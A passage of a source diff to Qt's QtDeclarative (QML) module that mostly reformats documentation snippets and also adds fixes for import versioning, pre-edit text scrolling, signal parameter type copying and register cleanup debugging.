-693,11 +694,24 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma \brief The Text item allows you to add formatted text to a scene. \inherits Item - A Text item can display both plain and rich text. For example: + Text items can display both plain and rich text. For example, red text with + a specific font and size can be defined like this: \qml - Text { text: "Hello World!"; font.family: "Helvetica"; font.pointSize: 24; color: "red" } - Text { text: "<b>Hello</b> <i>World!</i>" } + Text { + text: "Hello World!" + font.family: "Helvetica" + font.pointSize: 24 + color: "red" + } + \endqml + + Rich text is defined using HTML-style markup: + + \qml + Text { + text: "<b>Hello</b> <i>World!</i>" + } \endqml \image declarative-text.png @@ -933,12 +947,20 @@ void QDeclarativeText::setText(const QString &n) The text color. + An example of green text defined using hexadecimal notation: \qml - //green text using hexadecimal notation - Text { color: "#00FF00"; ... } + Text { + color: "#00FF00" + text: "green text" + } + \endqml - //steelblue text using SVG color name - Text { color: "steelblue"; ... } + An example of steel blue text defined using an SVG color name: + \qml + Text { + color: "steelblue" + text: "blue text" + } \endqml */ QColor QDeclarativeText::color() const @@ -1438,8 +1460,9 @@ void QDeclarativeText::setLineHeight(qreal lineHeight) The possible values are: \list - \o Text.MultiplyHeight (default) - specifies a line height multiplier, - \o Text.PixelHeight - specifies the line height in pixels. + \o Text.ProportionalHeight (default) - this sets the spacing proportional to the + line (as a multiplier). For example, set to 2 for double spacing. + \o Text.FixedHeight - this sets the line height to a fixed line height (in pixels). \endlist */ QDeclarativeText::LineHeightMode QDeclarativeText::lineHeightMode() const diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h index f3697d5..b8835d1 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h @@ -114,7 +114,7 @@ public: Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere }; - enum LineHeightMode { MultiplyHeight, PixelHeight }; + enum LineHeightMode { ProportionalHeight, FixedHeight }; QString text() const; void setText(const QString &); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 17354eb..39f1465 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -372,11 +372,13 @@ void QDeclarativeTextEdit::setFont(const QFont &font) The text color. \qml -// green text using hexadecimal notation -TextEdit { color: "#00FF00"; ... } + // green text using hexadecimal notation + TextEdit { color: "#00FF00" } + \endqml -// steelblue text using SVG color name -TextEdit { color: "steelblue"; ... } + \qml + // steelblue text using SVG color name + TextEdit { color: "steelblue" } \endqml */ QColor QDeclarativeTextEdit::color() const diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 57e60ac..e696294 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -550,10 +550,10 @@ void QDeclarativeTextInput::select(int start, int end) It is equivalent to the following snippet, but is faster and easier to use. - \qml + \js myTextInput.text.toString().substring(myTextInput.selectionStart, myTextInput.selectionEnd); - \endqml + \endjs */ QString QDeclarativeTextInput::selectedText() const { @@ -980,6 +980,7 @@ void QDeclarativeTextInput::inputMethodEvent(QInputMethodEvent *ev) } else { d->control->processInputMethodEvent(ev); updateSize(); + d->updateHorizontalScroll(); } if (!ev->isAccepted()) QDeclarativePaintedItem::inputMethodEvent(ev); @@ -1098,7 +1099,8 @@ int QDeclarativeTextInputPrivate::calculateTextWidth() void QDeclarativeTextInputPrivate::updateHorizontalScroll() { Q_Q(QDeclarativeTextInput); - int cix = qRound(control->cursorToX()); + const int preeditLength = control->preeditAreaText().length(); + int cix = qRound(control->cursorToX(control->cursor() + preeditLength)); QRect br(q->boundingRect().toRect()); int widthUsed = calculateTextWidth(); Qt::Alignment va = QStyle::visualAlignment(control->layoutDirection(), QFlag(Qt::Alignment(hAlign))); @@ -1128,6 +1130,14 @@ void QDeclarativeTextInputPrivate::updateHorizontalScroll() // right hscroll = widthUsed - br.width() + 1; } + if (preeditLength > 0) { + // check to ensure long pre-edit text doesn't push the cursor + // off to the left + cix = qRound(control->cursorToX( + control->cursor() + qMax(0, control->preeditCursor() - 1))); + if (cix < hscroll) + hscroll = cix; + } } else { switch (va & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) { case Qt::AlignRight: diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index d5c9bfc..28dfea9 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -197,13 +197,12 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) } QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMetaMethod &method, - QObject *parent) + QObject *parent) : QObject(parent), types(0), values(0) { MetaObject *mo = new MetaObject(this); // ### Optimize! - // ### Ensure only supported types are allowed, otherwise it might crash QMetaObjectBuilder mob; mob.setSuperClass(&QDeclarativeBoundSignalParameters::staticMetaObject); mob.setClassName("QDeclarativeBoundSignalParameters"); @@ -226,9 +225,15 @@ QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMeta QMetaPropertyBuilder prop = mob.addProperty(name, "QObject*"); prop.setWritable(false); } else { - types[ii] = t; - QMetaPropertyBuilder prop = mob.addProperty(name, type); - prop.setWritable(false); + if (QDeclarativeMetaType::canCopy(t)) { + types[ii] = t; + QMetaPropertyBuilder prop = mob.addProperty(name, type); + prop.setWritable(false); + } else { + types[ii] = 0x80000000 | t; + QMetaPropertyBuilder prop = mob.addProperty(name, "QVariant"); + prop.setWritable(false); + } } } myMetaObject = mob.toMetaObject(); @@ -259,7 +264,11 @@ int QDeclarativeBoundSignalParameters::metaCall(QMetaObject::Call c, int id, voi return -1; if (c == QMetaObject::ReadProperty && id >= 1) { - QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]); + if (types[id - 1] & 0x80000000) { + *((QVariant *)a[0]) = QVariant(types[id - 1] & 0x7FFFFFFF, values[id]); + } else { + QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]); + } return -1; } else { return qt_metacall(c, id, a); diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp index 3721fb0..a6fcce4 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings.cpp +++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp @@ -40,6 +40,7 @@ ****************************************************************************/ // #define COMPILEDBINDINGS_DEBUG +// #define REGISTER_CLEANUP_DEBUG #include "private/qdeclarativecompiledbindings_p.h" @@ -171,6 +172,24 @@ struct Register { int type; // Optional type void *data[2]; // Object stored here + +#ifdef REGISTER_CLEANUP_DEBUG + Register() { + type = 0; + } + + ~Register() { + int allowedTypes[] = { QMetaType::QObjectStar, QMetaType::QReal, QMetaType::Int, QMetaType::Bool, 0 }; + bool found = (type == 0); + int *ctype = allowedTypes; + while (!found && *ctype) { + found = (*ctype == type); + ++ctype; + } + if (!found) + qWarning("Register leaked of type %d", type); + } +#endif }; } @@ -1412,10 +1431,16 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex, QML_BEGIN_INSTR(CleanupString) registers[instr->cleanup.reg].getstringptr()->~QString(); +#ifdef REGISTER_CLEANUP_DEBUG + registers[instr->cleanup.reg].setUndefined(); +#endif QML_END_INSTR(CleanupString) QML_BEGIN_INSTR(CleanupUrl) registers[instr->cleanup.reg].geturlptr()->~QUrl(); +#ifdef REGISTER_CLEANUP_DEBUG + registers[instr->cleanup.reg].setUndefined(); +#endif QML_END_INSTR(CleanupUrl) QML_BEGIN_INSTR(Fetch) @@ -1533,10 +1558,19 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex, int type = registers[instr->cleanup.reg].gettype(); if (type == qMetaTypeId<QVariant>()) { registers[instr->cleanup.reg].getvariantptr()->~QVariant(); +#ifdef REGISTER_CLEANUP_DEBUG + registers[instr->cleanup.reg].setUndefined(); +#endif } else if (type == QMetaType::QString) { registers[instr->cleanup.reg].getstringptr()->~QString(); +#ifdef REGISTER_CLEANUP_DEBUG + registers[instr->cleanup.reg].setUndefined(); +#endif } else if (type == QMetaType::QUrl) { registers[instr->cleanup.reg].geturlptr()->~QUrl(); +#ifdef REGISTER_CLEANUP_DEBUG + registers[instr->cleanup.reg].setUndefined(); +#endif } } QML_END_INSTR(CleanupGeneric) @@ -1749,7 +1783,6 @@ bool QDeclarativeBindingCompilerPrivate::compile(QDeclarativeJS::AST::Node *node done.common.type = Instr::Done; bytecode << done; - return true; } else { // Can we store the final value? if (type.type == QVariant::Int && @@ -1791,12 +1824,12 @@ bool QDeclarativeBindingCompilerPrivate::compile(QDeclarativeJS::AST::Node *node Instr done; done.common.type = Instr::Done; bytecode << done; - - return true; } else { return false; } } + + return true; } bool QDeclarativeBindingCompilerPrivate::parseExpression(QDeclarativeJS::AST::Node *node, Result &type) @@ -2236,6 +2269,8 @@ bool QDeclarativeBindingCompilerPrivate::stringArith(Result &type, const Result if (lhsTmp != -1) releaseReg(lhsTmp); if (rhsTmp != -1) releaseReg(rhsTmp); + releaseReg(lhs.reg); + releaseReg(rhs.reg); return true; } diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index 89aa79a..f1296aa 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -334,10 +334,10 @@ QList<QByteArray> QDeclarativeDomProperty::propertyNameParts() const Return true if this property is used as a default property in the QML document. - \qml + \code <Text text="hello"/> <Text>hello</Text> - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether @@ -509,10 +509,10 @@ QByteArray QDeclarativeDomDynamicProperty::propertyTypeName() const Return true if this property is used as a default property in the QML document. - \qml + \code <Text text="hello"/> <Text>hello</Text> - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 95b49e1..b7a02f1 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -776,7 +776,7 @@ void QDeclarativeEngine::addImageProvider(const QString &providerId, QDeclarativ { Q_D(QDeclarativeEngine); QMutexLocker locker(&d->mutex); - d->imageProviders.insert(providerId, QSharedPointer<QDeclarativeImageProvider>(provider)); + d->imageProviders.insert(providerId.toLower(), QSharedPointer<QDeclarativeImageProvider>(provider)); } /*! @@ -1981,14 +1981,24 @@ QScriptValue QDeclarativeEnginePrivate::quit(QScriptContext * /*ctxt*/, QScriptE } /*! -\qmlmethod color Qt::tint(color baseColor, color tintColor) + \qmlmethod color Qt::tint(color baseColor, color tintColor) This function allows tinting one color with another. - The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque. + The tint color should usually be mostly transparent, or you will not be + able to see the underlying color. The below example provides a slight red + tint by having the tint color be pure red which is only 1/16th opaque. \qml - Rectangle { x: 0; width: 80; height: 80; color: "lightsteelblue" } - Rectangle { x: 100; width: 80; height: 80; color: Qt.tint("lightsteelblue", "#10FF0000") } + Item { + Rectangle { + x: 0; width: 80; height: 80 + color: "lightsteelblue" + } + Rectangle { + x: 100; width: 80; height: 80 + color: Qt.tint("lightsteelblue", "#10FF0000") + } + } \endqml \image declarative-rect_tint.png @@ -2103,10 +2113,11 @@ QVariant QDeclarativeEnginePrivate::scriptValueToVariant(const QScriptValue &val /*! Adds \a path as a directory where the engine searches for installed modules in a URL-based directory structure. + The \a path may be a local filesystem directory or a URL. The newly added \a path will be first in the importPathList(). - \sa setImportPathList() + \sa setImportPathList(), \l {QML Modules} */ void QDeclarativeEngine::addImportPath(const QString& path) { diff --git a/src/declarative/qml/qdeclarativeimageprovider.cpp b/src/declarative/qml/qdeclarativeimageprovider.cpp index 560077f..f111c20 100644 --- a/src/declarative/qml/qdeclarativeimageprovider.cpp +++ b/src/declarative/qml/qdeclarativeimageprovider.cpp @@ -75,6 +75,16 @@ public: invokes the appropriate image provider according to the providers that have been registered through QDeclarativeEngine::addImageProvider(). + Note that the identifiers are case-insensitive, but the rest of the URL will be passed on with + preserved case. For example, the below snippet would still specify that the image is loaded by the + image provider named "myimageprovider", but it would request a different image than the above snippet + ("Image.png" instead of "image.png"). + \qml + Image { source: "image://MyImageProvider/Image.png" } + \endqml + + If you want the rest of the URL to be case insensitive, you will have to take care + of that yourself inside your image provider. \section2 An example diff --git a/src/declarative/qml/qdeclarativeimport.cpp b/src/declarative/qml/qdeclarativeimport.cpp index c89666d..87183c4 100644 --- a/src/declarative/qml/qdeclarativeimport.cpp +++ b/src/declarative/qml/qdeclarativeimport.cpp @@ -425,8 +425,18 @@ QString QDeclarativeImportsPrivate::resolvedUri(const QString &dir_arg, QDeclara break; } } + + stableRelativePath.replace(QLatin1Char('\\'), QLatin1Char('/')); + + // remove optional versioning in dot notation from uri + int lastSlash = stableRelativePath.lastIndexOf(QLatin1Char('/')); + if (lastSlash >= 0) { + int versionDot = stableRelativePath.indexOf(QLatin1Char('.'), lastSlash); + if (versionDot >= 0) + stableRelativePath = stableRelativePath.left(versionDot); + } + stableRelativePath.replace(QLatin1Char('/'), QLatin1Char('.')); - stableRelativePath.replace(QLatin1Char('\\'), QLatin1Char('.')); return stableRelativePath; } @@ -453,20 +463,62 @@ bool QDeclarativeImportsPrivate::add(const QDeclarativeDirComponents &qmldircomp QString dir; - foreach (const QString &p, database->fileImportPath) { - dir = p+QLatin1Char('/')+url; + // step 1: search for extension with fully encoded version number + if (vmaj >= 0 && vmin >= 0) { + foreach (const QString &p, database->fileImportPath) { + dir = p+QLatin1Char('/')+url; - QFileInfo fi(dir+QLatin1String("/qmldir")); - const QString absoluteFilePath = fi.absoluteFilePath(); + QFileInfo fi(dir+QString(QLatin1String(".%1.%2")).arg(vmaj).arg(vmin)+QLatin1String("/qmldir")); + const QString absoluteFilePath = fi.absoluteFilePath(); - if (fi.isFile()) { - found = true; + if (fi.isFile()) { + found = true; - url = QUrl::fromLocalFile(fi.absolutePath()).toString(); - uri = resolvedUri(dir, database); - if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString)) - return false; - break; + url = QUrl::fromLocalFile(fi.absolutePath()).toString(); + uri = resolvedUri(dir, database); + if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString)) + return false; + break; + } + } + } + // step 2: search for extension with encoded version major + if (vmaj >= 0 && vmin >= 0) { + foreach (const QString &p, database->fileImportPath) { + dir = p+QLatin1Char('/')+url; + + QFileInfo fi(dir+QString(QLatin1String(".%1")).arg(vmaj)+QLatin1String("/qmldir")); + const QString absoluteFilePath = fi.absoluteFilePath(); + + if (fi.isFile()) { + found = true; + + url = QUrl::fromLocalFile(fi.absolutePath()).toString(); + uri = resolvedUri(dir, database); + if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString)) + return false; + break; + } + } + } + if (!found) { + // step 3: search for extension without version number + + foreach (const QString &p, database->fileImportPath) { + dir = p+QLatin1Char('/')+url; + + QFileInfo fi(dir+QLatin1String("/qmldir")); + const QString absoluteFilePath = fi.absoluteFilePath(); + + if (fi.isFile()) { + found = true; + + url = QUrl::fromLocalFile(fi.absolutePath()).toString(); + uri = resolvedUri(dir, database); + if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString)) + return false; + break; + } } } @@ -660,6 +712,7 @@ bool QDeclarativeImportedNamespace::find(const QByteArray& type, int *vmajor, in /*! \class QDeclarativeImportDatabase \brief The QDeclarativeImportDatabase class manages the QML imports for a QDeclarativeEngine. +\internal */ QDeclarativeImportDatabase::QDeclarativeImportDatabase(QDeclarativeEngine *e) : engine(e) @@ -874,16 +927,25 @@ QString QDeclarativeImportDatabase::resolvePlugin(const QDir &qmldirPath, const #endif } +/*! + \internal +*/ QStringList QDeclarativeImportDatabase::pluginPathList() const { return filePluginPath; } +/*! + \internal +*/ void QDeclarativeImportDatabase::setPluginPathList(const QStringList &paths) { filePluginPath = paths; } +/*! + \internal +*/ void QDeclarativeImportDatabase::addPluginPath(const QString& path) { if (qmlImportTrace()) @@ -898,6 +960,9 @@ void QDeclarativeImportDatabase::addPluginPath(const QString& path) } } +/*! + \internal +*/ void QDeclarativeImportDatabase::addImportPath(const QString& path) { if (qmlImportTrace()) @@ -922,17 +987,25 @@ void QDeclarativeImportDatabase::addImportPath(const QString& path) fileImportPath.prepend(cPath); } +/*! + \internal +*/ QStringList QDeclarativeImportDatabase::importPathList() const { return fileImportPath; } +/*! + \internal +*/ void QDeclarativeImportDatabase::setImportPathList(const QStringList &paths) { fileImportPath = paths; } - +/*! + \internal +*/ bool QDeclarativeImportDatabase::importPlugin(const QString &filePath, const QString &uri, QString *errorString) { if (qmlImportTrace()) diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index 4867cc5..bf1f699 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -1015,6 +1015,93 @@ QT_END_NAMESPACE Q_DECLARE_METATYPE(QScriptValue); QT_BEGIN_NAMESPACE + +bool QDeclarativeMetaType::canCopy(int type) +{ + switch(type) { + case QMetaType::VoidStar: + case QMetaType::QObjectStar: + case QMetaType::QWidgetStar: + case QMetaType::Long: + case QMetaType::Int: + case QMetaType::Short: + case QMetaType::Char: + case QMetaType::ULong: + case QMetaType::UInt: + case QMetaType::LongLong: + case QMetaType::ULongLong: + case QMetaType::UShort: + case QMetaType::UChar: + case QMetaType::Bool: + case QMetaType::Float: + case QMetaType::Double: + case QMetaType::QChar: + case QMetaType::QVariantMap: + case QMetaType::QVariantHash: + case QMetaType::QVariantList: + case QMetaType::QByteArray: + case QMetaType::QString: + case QMetaType::QStringList: + case QMetaType::QBitArray: + case QMetaType::QDate: + case QMetaType::QTime: + case QMetaType::QDateTime: + case QMetaType::QUrl: + case QMetaType::QLocale: + case QMetaType::QRect: + case QMetaType::QRectF: + case QMetaType::QSize: + case QMetaType::QSizeF: + case QMetaType::QLine: + case QMetaType::QLineF: + case QMetaType::QPoint: + case QMetaType::QPointF: + case QMetaType::QVector3D: +#ifndef QT_NO_REGEXP + case QMetaType::QRegExp: +#endif + case QMetaType::Void: +#ifdef QT3_SUPPORT + case QMetaType::QColorGroup: +#endif + case QMetaType::QFont: + case QMetaType::QPixmap: + case QMetaType::QBrush: + case QMetaType::QColor: + case QMetaType::QPalette: + case QMetaType::QIcon: + case QMetaType::QImage: + case QMetaType::QPolygon: + case QMetaType::QRegion: + case QMetaType::QBitmap: +#ifndef QT_NO_CURSOR + case QMetaType::QCursor: +#endif + case QMetaType::QSizePolicy: + case QMetaType::QKeySequence: + case QMetaType::QPen: + case QMetaType::QTextLength: + case QMetaType::QTextFormat: + case QMetaType::QMatrix: + case QMetaType::QTransform: + case QMetaType::QMatrix4x4: + case QMetaType::QVector2D: + case QMetaType::QVector4D: + case QMetaType::QQuaternion: + return true; + + default: + if (type == qMetaTypeId<QVariant>() || + type == qMetaTypeId<QScriptValue>() || + typeCategory(type) != Unknown) { + return true; + } + break; + } + + return false; +} + /*! Copies \a copy into \a data, assuming they both are of type \a type. If \a copy is zero, a default type is copied. Returns true if the copy was diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 0e4d61c..aab1c31 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -69,6 +69,7 @@ class QDeclarativeTypePrivate; class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeMetaType { public: + static bool canCopy(int type); static bool copy(int type, void *data, const void *copy = 0); static QList<QByteArray> qmlTypeNames(); diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index a3a32e9..6cd99e2 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -544,12 +544,7 @@ void QDeclarativeWorkerScriptEngine::run() The above worker script specifies a JavaScript file, "script.js", that handles the operations to be performed in the new thread. Here is \c script.js: - \qml - WorkerScript.onMessage = function(message) { - // ... long-running operations and calculations are done here - WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) - } - \endqml + \quotefile doc/src/snippets/declarative/script.js When the user clicks anywhere within the rectangle, \c sendMessage() is called, triggering the \tt WorkerScript.onMessage() handler in diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 681cea0..eaf0cfa 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation() \qml Item { - states: [ ... ] + states: [ + // States are defined here... + ] transition: Transition { NumberAnimation { from: "#c0c0c0"; duration: 2000 } @@ -725,40 +727,29 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) /*! \qmlclass ScriptAction QDeclarativeScriptAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. - ScriptAction can be used to run script at a specific point in an animation. + ScriptAction can be used to run a script at a specific point in an animation. \qml SequentialAnimation { - NumberAnimation { ... } + NumberAnimation { + // ... + } ScriptAction { script: doSomething(); } - NumberAnimation { ... } + NumberAnimation { + // ... + } } \endqml When used as part of a Transition, you can also target a specific StateChangeScript to run using the \c scriptName property. - \qml - State { - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - } - ... - Transition { - SequentialAnimation { - NumberAnimation { ... } - ScriptAction { scriptName: "myScript" } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition \sa StateChangeScript */ @@ -870,7 +861,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() /*! \qmlclass PropertyAction QDeclarativePropertyAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The PropertyAction element allows immediate property changes during animation. @@ -896,21 +887,14 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() However, with this code, the \c transformOrigin is not set until \e after the animation, as a \l State is taken to define the values at the \e end of a transition. The animation would rotate at the default \c transformOrigin, - then jump to \c Item.BottomRight. To fix this, insert a PropertyChanges + then jump to \c Item.BottomRight. To fix this, insert a PropertyAction before the RotationAnimation begins: - \qml - transitions: Transition { - SequentialAnimation { - PropertyAction { target: rect; property: "transformOrigin" } - RotationAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/propertyaction-sequential.qml sequential This immediately sets the \c transformOrigin property to the value defined in the end state of the \l Transition (i.e. the value defined in the - PropertyChanges object) so that the rotation animation begins with the + PropertyAction object) so that the rotation animation begins with the correct transform origin. \sa {QML Animation}, QtDeclarative @@ -1195,7 +1179,9 @@ void QDeclarativeNumberAnimation::init() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { NumberAnimation { properties: "x"; from: 100; duration: 200 } @@ -1421,7 +1407,9 @@ QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { RotationAnimation { properties: "angle"; from: 100; duration: 2000 } @@ -2253,7 +2241,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) width: 100; height: 100 color: Qt.rgba(0,0,1) //need to explicitly specify target and property - NumberAnimation { id: theAnim; target: theRect; property: "x" to: 500 } + NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 } MouseArea { anchors.fill: parent onClicked: theAnim.start() @@ -2555,7 +2543,7 @@ void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent) ParentAnimation { target: myItem via: topLevelItem - ... + // ... } \endqml */ diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp index 6d3ddeb..5a66aab 100644 --- a/src/declarative/util/qdeclarativeconnections.cpp +++ b/src/declarative/util/qdeclarativeconnections.cpp @@ -72,8 +72,8 @@ public: /*! \qmlclass Connections QDeclarativeConnections - \ingroup qml-utility-elements - \since 4.7 + \ingroup qml-utility-elements + \since 4.7 \brief A Connections element describes generalized connections to signals. A Connections object creates a connection to a QML signal. @@ -83,7 +83,7 @@ public: \qml MouseArea { - onClicked: { foo(...) } + onClicked: { foo(parameters) } } \endqml @@ -104,7 +104,7 @@ public: \qml MouseArea { Connections { - onClicked: foo(...) + onClicked: foo(parameters) } } \endqml @@ -116,10 +116,10 @@ public: MouseArea { id: area } - ... + // ... Connections { target: area - onClicked: foo(...) + onClicked: foo(parameters) } \endqml diff --git a/src/declarative/util/qdeclarativefontloader.cpp b/src/declarative/util/qdeclarativefontloader.cpp index d39da3f..eba9cf9 100644 --- a/src/declarative/util/qdeclarativefontloader.cpp +++ b/src/declarative/util/qdeclarativefontloader.cpp @@ -262,8 +262,18 @@ void QDeclarativeFontLoader::updateFontInfo(const QString& name, QDeclarativeFon Example: \qml - FontLoader { id: webFont; source: "http://www.mysite.com/myfont.ttf" } - Text { text: "Fancy font"; font.family: webFont.name } + Item { + width: 200; height: 50 + + FontLoader { + id: webFont + source: "http://www.mysite.com/myfont.ttf" + } + Text { + text: "Fancy font" + font.family: webFont.name + } + } \endqml */ QString QDeclarativeFontLoader::name() const diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 80d14b7..80b52fd 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -108,9 +108,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The following example shows a ListModel containing three elements, with the roles "name" and "cost". - \beginfloatright + \div {float-right} \inlineimage listmodel.png - \endfloat + \enddiv \snippet doc/src/snippets/declarative/listmodel.qml 0 @@ -133,9 +133,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The delegate displays all the fruit attributes: - \beginfloatright + \div {float-right} \inlineimage listmodel-nested.png - \endfloat + \enddiv \snippet doc/src/snippets/declarative/listmodel-nested.qml delegate diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index cde9a72..5a4e2b1 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -216,15 +216,18 @@ bool QDeclarativeState::isWhenKnown() const \snippet doc/src/snippets/declarative/state-when.qml 0 - If multiple states in a group have \c when clauses that evaluate to \c true at the same time, - the first matching state will be applied. For example, in the following snippet - \c state1 will always be selected rather than \c state2 when sharedCondition becomes - \c true. + If multiple states in a group have \c when clauses that evaluate to \c true + at the same time, the first matching state will be applied. For example, in + the following snippet \c state1 will always be selected rather than + \c state2 when sharedCondition becomes \c true. \qml - states: [ - State { name: "state1"; when: sharedCondition }, - State { name: "state2"; when: sharedCondition } - ] + Item { + states: [ + State { name: "state1"; when: sharedCondition }, + State { name: "state2"; when: sharedCondition } + ] + // ... + } \endqml */ QDeclarativeBinding *QDeclarativeState::when() const diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp index 7aeea12..f1d0997 100644 --- a/src/declarative/util/qdeclarativestategroup.cpp +++ b/src/declarative/util/qdeclarativestategroup.cpp @@ -102,10 +102,10 @@ public: id: myStateGroup states: State { name: "state1" - ... + // ... } transitions: Transition { - ... + // ... } } @@ -140,11 +140,15 @@ QList<QDeclarativeState *> QDeclarativeStateGroup::states() const \qml StateGroup { - states: [ - State { ... }, - State { ... } - ... - ] + states: [ + State { + // State definition... + }, + State { + // ... + } + // Other states... + ] } \endqml @@ -197,11 +201,15 @@ void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty<QDecla \qml StateGroup { - transitions: [ - Transition { ... }, - Transition { ... } - ... - ] + transitions: [ + Transition { + // ... + }, + Transition { + // ... + } + // ... + ] } \endqml @@ -221,14 +229,14 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeStateGroup::transit This property is often used in scripts to change between states. For example: - \qml - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } - \endqml + \js + function toggle() { + if (button.state == 'On') + button.state = 'Off'; + else + button.state = 'On'; + } + \endjs If the state group is in its base state (i.e. no explicit state has been set), \c state will be a blank string. Likewise, you can return a diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 148211a..9aca71f 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -606,25 +606,7 @@ public: ScriptAction to specify the point in the transition at which the StateChangeScript should to be run. - \qml - State { - name "state1" - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - ... - } - ... - Transition { - to: "state1" - SequentialAnimation { - NumberAnimation { ... } - ScriptAction { scriptName: "myScript" } - NumberAnimation { ... } - } - } - \endqml + \snippet snippets/declarative/states/statechangescript.qml state and transition \sa ScriptAction */ @@ -659,7 +641,7 @@ void QDeclarativeStateChangeScript::setScript(const QDeclarativeScriptString &s) This property holds the name of the script. This name can be used by a ScriptAction to target a specific script. - \sa ScriptAction::stateChangeScriptName + \sa ScriptAction::scriptName */ QString 